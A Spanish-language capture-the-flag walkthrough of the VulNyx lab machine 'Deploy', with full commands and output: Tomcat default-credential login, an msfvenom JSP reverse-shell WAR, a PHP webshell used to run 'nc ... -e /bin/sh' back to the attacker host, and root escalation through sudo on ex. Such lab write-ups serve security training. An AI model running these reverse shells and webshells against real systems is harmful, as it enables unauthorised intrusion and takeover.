🔵 NYX - Deploy
#vulnyx
#nyx
#linux
#tomcat
#msfvenom
#war
#rce
#ex (sudo)
Mayo 12, 2023 by Miguel R. (d4t4s3c)
Information
Deploy es una máquina Linux de la plataforma VulNyx, tiene un nivel de dificultad bajo y fue creada por el usuario m0w.
- Acceso inicial: Encuentro un Tomcat con credenciales por defecto, se accede y carga un archivo .war obteniendo una shell.
- Escalada de privilegios: El usuario dispone de permisos sudo sobre un binario que permitirá escapar una shell como root.
Enumeration
Nmap
TCP
❯ nmap -n -Pn -sS -p- --min-rate 5000 192.168.1.44
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-15 17:26 CET
Nmap scan report for 192.168.1.44
Host is up (0.000075s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
8080/tcp open http-proxy
❯ nmap -sVC -p22,80,8080 192.168.1.44
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-15 17:26 CET
Nmap scan report for 192.168.1.44
Host is up (0.00049s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 f0:e6:24:fb:9e:b0:7a:1a:bd:f7:b1:85:23:7f:b1:6f (RSA)
| 256 99:c8:74:31:45:10:58:b0:ce:cc:63:b4:7a:82:57:3d (ECDSA)
|_ 256 60:da:3e:31:38:fa:b5:49:ab:48:c3:43:2c:9f:d1:32 (ED25519)
80/tcp open http Apache httpd 2.4.56 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.56 (Debian)
8080/tcp open http Apache Tomcat
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Apache Tomcat
Shell (tomcat)
8080/TCP (HTTP)
Tomcat
Login
Al indentificar que es un Tomcat, me dirijo a la ruta típica /manager_webapp
y encuentro el panel de administrador
Accedo al Tomcat realizando técnicas de password guessing y obtengo éxito con tomcat:s3cret
Reverse Shell
Create WAR (Msfvenom)
Creo una reverse shell .war
con msfvenom
❯ msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.10 LPORT=443 -f war > shell.war
Payload size: 1087 bytes
Final size of war file: 1087 bytes
Upload & Run WAR
Ahora subo el archivo .war
y al desplegar obtengo una shell como usuario tomcat
❯ nc -lvnp 443
listening on [any] 443 ...
connect to [192.168.1.10] from (UNKNOWN) [192.168.1.44] 55642
id ; hostname
uid=998(tomcat) gid=998(tomcat) grupos=998(tomcat)
deploy
Shell (sa)
Enumero a los usuarios toor
y sa
en el archivo /etc/passwd
tomcat@deploy:/$ grep "sh$" /etc/passwd --color
root:x:0:0:root:/root:/bin/bash
toor:x:1000:1000:toor,,,:/home/toor:/bin/bash
sa:x:1001:1001::/home/sa:/usr/bin/bash
En el archivo de configuración de Tomcat llamado /etc/tomcat9/tomcat-users.xml
encuentro las credenciales sa:salala!!
tomcat@deploy:/$ cat /etc/tomcat9/tomcat-users.xml
<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
version="1.0">
<user username="tomcat" password="s3cret" roles="manager-gui"/>
<!-- <user username="sa" password="salala!!" roles="manager-gui"/> -->
</tomcat-users>
22/TCP (SSH)
Accedo al sistema con las credenciales obtenidas como usuario sa
❯ ssh sa@192.168.1.44
sa@192.168.1.44's password:
Linux deploy 5.10.0-22-amd64 #1 SMP Debian 5.10.178-3 (2023-04-22) x86_64
sa@deploy:~$ id ; hostname
uid=1001(sa) gid=1001(sa) grupos=1001(sa)
deploy
Shell (toor)
Revisando los procesos del usuario toor
, veo que tiene levantando un servidor HTTP Apache2
sa@deploy:~$ ps aux |grep toor
toor 430 0.0 1.1 194300 11156 ? S 17:24 0:00 /usr/sbin/apache2 -k start
toor 431 0.0 1.1 194300 11552 ? S 17:24 0:00 /usr/sbin/apache2 -k start
toor 432 0.0 1.1 194300 11428 ? S 17:24 0:00 /usr/sbin/apache2 -k start
toor 433 0.0 1.1 194292 11416 ? S 17:24 0:00 /usr/sbin/apache2 -k start
toor 434 0.0 1.1 194300 11424 ? S 17:24 0:00 /usr/sbin/apache2 -k start
toor 514 0.0 0.9 194244 9804 ? S 17:28 0:00 /usr/sbin/apache2 -k start
Dispongo de permisos para escribir en la ruta /var/www/html
sa@deploy:~$ ls -laR /var/www/
/var/www/:
total 12
drwxrwxrwx 3 www-data www-data 4096 may 10 2023 .
drwxr-xr-x 12 root root 4096 may 10 2023 ..
drwxrwxrwx 2 www-data www-data 4096 may 11 2023 html
/var/www/html:
total 20
drwxrwxrwx 2 www-data www-data 4096 may 11 2023 .
drwxrwxrwx 3 www-data www-data 4096 may 10 2023 ..
-rwxrwxrwx 1 www-data www-data 10701 may 10 2023 index.html
Creo una webshell PHP en la ruta del servidor Apache2 y posteriormente hago que sea interpretado
sa@deploy:~$ echo -n '<?php system($_GET["cmd"]); ?>' >/var/www/html/cmd.php
sa@deploy:~$ cat /var/www/html/cmd.php
<?php system($_GET["cmd"]); ?>
Obtengo una shell como usuario toor
❯ curl -sX GET "http://192.168.1.44/cmd.php?cmd=nc+192.168.1.10+443+-e+/bin/sh"
❯ nc -lvnp 443
listening on [any] 443 ...
connect to [192.168.1.10] from (UNKNOWN) [192.168.1.44] 35798
id ; hostname
uid=1000(toor) gid=1000(toor) groups=1000(toor)
deploy
Privilege Escalation
El usuario toor
puede ejecutar como root
el binario ex
con sudo
toor@deploy:/$ sudo -l
Matching Defaults entries for toor on deploy:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User toor may run the following commands on deploy:
(root) NOPASSWD: /usr/bin/ex
En GTFOBins nos dan el one liner para escapar una shell
toor@deploy:/$ sudo -u root /usr/bin/ex
Al ejecutar ex
se abre en paginated mode y con !/bin/sh
me convierto en usuario root
Entering Ex mode. Type "visual" to go to Normal mode.
:!/bin/sh
# bash -pi
root@deploy:/# id ; hostname
uid=0(root) gid=0(root) groups=0(root)
deploy
Flags
Ya como usuario root
puedo leer las flags user.txt
y root.txt
root@deploy:/# find / -name user.txt -o -name root.txt |xargs cat
0cb08***************************
d9bad***************************
Hasta aquí la resolución de la máquina Deploy.
Happy Hacking!
